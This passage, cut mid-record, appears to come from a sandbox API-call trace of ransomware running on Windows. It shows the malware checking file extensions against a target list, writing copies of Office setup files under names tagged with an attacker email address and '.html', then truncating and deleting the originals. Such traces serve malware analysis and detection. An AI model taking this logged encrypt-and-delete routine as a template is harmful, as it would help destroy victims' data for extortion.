Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0038.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.683] lstrlenW (lpString=".doc") returned 4 [0038.683] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.683] lstrlenW (lpString=".docx") returned 5 [0038.683] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0038.683] lstrlenW (lpString=".pdf") returned 4 [0038.683] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.683] lstrlenW (lpString=".xls") returned 4 [0038.683] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.683] lstrlenW (lpString=".xlsx") returned 5 [0038.683] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0038.683] lstrlenW (lpString=".ppt") returned 4 [0038.683] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.684] lstrlenW (lpString=".zip") returned 4 [0038.684] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString=".rar") returned 4 [0038.684] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString=".bz2") returned 4 [0038.684] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.684] lstrlenW (lpString=".7z") returned 3 [0038.684] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.684] lstrlenW (lpString=".dbf") returned 4 [0038.684] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.684] lstrlenW (lpString=".1cd") returned 4 [0038.684] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.684] lstrlenW (lpString=".jpg") returned 4 [0038.684] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.684] lstrlenW (lpString=".doc") returned 4 [0038.684] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString=".docx") returned 5 [0038.684] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0038.684] lstrlenW (lpString=".pdf") returned 4 [0038.684] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString=".xls") returned 4 [0038.684] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.684] lstrlenW (lpString=".xlsx") returned 5 [0038.684] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0038.684] lstrlenW (lpString=".ppt") returned 4 [0038.684] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.685] lstrlenW (lpString=".zip") returned 4 [0038.685] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.685] lstrlenW (lpString=".rar") returned 4 [0038.685] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.685] lstrlenW (lpString=".bz2") returned 4 [0038.685] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.685] lstrlenW (lpString=".7z") returned 3 [0038.685] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.685] lstrlenW (lpString=".dbf") returned 4 [0038.685] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.685] lstrlenW (lpString=".1cd") returned 4 [0038.685] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0038.685] lstrlenW (lpString=".jpg") returned 4 [0038.685] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.685] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0038.685] lstrlenW (lpString="PSS10R.CHM") returned 10 [0038.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.686] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=27195) returned 1 [0038.686] CloseHandle (hObject=0x180) returned 1 [0038.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0038.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.686] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.686] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.687] GetLastError () returned 0x0 [0038.687] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0038.689] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0038.690] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.690] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0038.690] SetEndOfFile (hFile=0x1c4) returned 1 [0038.690] CloseHandle (hObject=0x1c4) returned 1 [0038.691] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.691] SetEndOfFile (hFile=0x180) returned 1 [0038.692] CloseHandle (hObject=0x180) returned 1 [0038.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0038.692] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0038.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.693] lstrlenW (lpString=".doc") returned 4 [0038.693] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.693] lstrlenW (lpString=".docx") returned 5 [0038.693] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0038.693] lstrlenW (lpString=".pdf") returned 4 [0038.693] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.693] lstrlenW (lpString=".xls") returned 4 [0038.693] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.693] lstrlenW (lpString=".xlsx") returned 5 [0038.693] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0038.693] lstrlenW (lpString=".ppt") returned 4 [0038.693] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.693] lstrlenW (lpString=".zip") returned 4 [0038.693] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.693] lstrlenW (lpString=".rar") returned 4 [0038.693] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.693] lstrlenW (lpString=".bz2") returned 4 [0038.693] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.693] lstrlenW (lpString=".7z") returned 3 [0038.693] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.693] lstrlenW (lpString=".dbf") returned 4 [0038.693] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.693] lstrlenW (lpString=".1cd") returned 4 [0038.693] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.693] lstrlenW (lpString=".jpg") returned 4 [0038.694] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.694] lstrlenW (lpString=".doc") returned 4 [0038.694] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString=".docx") returned 5 [0038.694] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0038.694] lstrlenW (lpString=".pdf") returned 4 [0038.694] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString=".xls") returned 4 [0038.694] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString=".xlsx") returned 5 [0038.694] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0038.694] lstrlenW (lpString=".ppt") returned 4 [0038.694] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.694] lstrlenW (lpString=".zip") returned 4 [0038.694] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString=".rar") returned 4 [0038.694] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString=".bz2") returned 4 [0038.694] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.694] lstrlenW (lpString=".7z") returned 3 [0038.694] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.694] lstrlenW (lpString=".dbf") returned 4 [0038.694] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.694] lstrlenW (lpString=".1cd") returned 4 [0038.694] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0038.694] lstrlenW (lpString=".jpg") returned 4 [0038.694] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.695] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0038.695] lstrlenW (lpString="SETUP.CHM") returned 9 [0038.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0040.032] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=67190) returned 1 [0040.032] CloseHandle (hObject=0x178) returned 1 [0040.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0040.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0040.032] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.032] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0040.032] GetLastError () returned 0x0 [0040.032] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x10676, lpOverlapped=0x0) returned 1 [0040.171] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0040.199] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.199] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.199] SetEndOfFile (hFile=0x1e4) returned 1 [0040.199] CloseHandle (hObject=0x1e4) returned 1 [0040.201] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.201] SetEndOfFile (hFile=0x178) returned 1 [0040.202] CloseHandle (hObject=0x178) returned 1 [0040.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0040.202] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0040.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.202] lstrlenW (lpString=".doc") returned 4 [0040.202] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.202] lstrlenW (lpString=".docx") returned 5 [0040.202] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0040.203] lstrlenW (lpString=".pdf") returned 4 [0040.203] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString=".xls") returned 4 [0040.203] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString=".xlsx") returned 5 [0040.203] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0040.203] lstrlenW (lpString=".ppt") returned 4 [0040.203] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.203] lstrlenW (lpString=".zip") returned 4 [0040.203] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString=".rar") returned 4 [0040.203] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString=".bz2") returned 4 [0040.203] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.203] lstrlenW (lpString=".7z") returned 3 [0040.203] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.203] lstrlenW (lpString=".dbf") returned 4 [0040.203] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.203] lstrlenW (lpString=".1cd") returned 4 [0040.203] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.203] lstrlenW (lpString=".jpg") returned 4 [0040.203] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.203] lstrlenW (lpString=".doc") returned 4 [0040.203] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.203] lstrlenW (lpString=".docx") returned 5 [0040.203] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0040.203] lstrlenW (lpString=".pdf") returned 4 [0040.203] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.204] lstrlenW (lpString=".xls") returned 4 [0040.204] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.204] lstrlenW (lpString=".xlsx") returned 5 [0040.204] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0040.204] lstrlenW (lpString=".ppt") returned 4 [0040.204] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.204] lstrlenW (lpString=".zip") returned 4 [0040.204] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.204] lstrlenW (lpString=".rar") returned 4 [0040.204] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.204] lstrlenW (lpString=".bz2") returned 4 [0040.204] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.204] lstrlenW (lpString=".7z") returned 3 [0040.204] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.204] lstrlenW (lpString=".dbf") returned 4 [0040.204] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.204] lstrlenW (lpString=".1cd") returned 4 [0040.204] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.204] lstrlenW (lpString=".jpg") returned 4 [0040.204] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.204] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.204] lstrlenW (lpString="SETUP.XML") returned 9 [0040.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.781] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=4207) returned 1 [0040.781] CloseHandle (hObject=0x1e8) returned 1 [0040.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0040.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.781] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.781] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0040.782] GetLastError () returned 0x0 [0040.782] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x106f, lpOverlapped=0x0) returned 1 [0040.783] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0040.784] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, 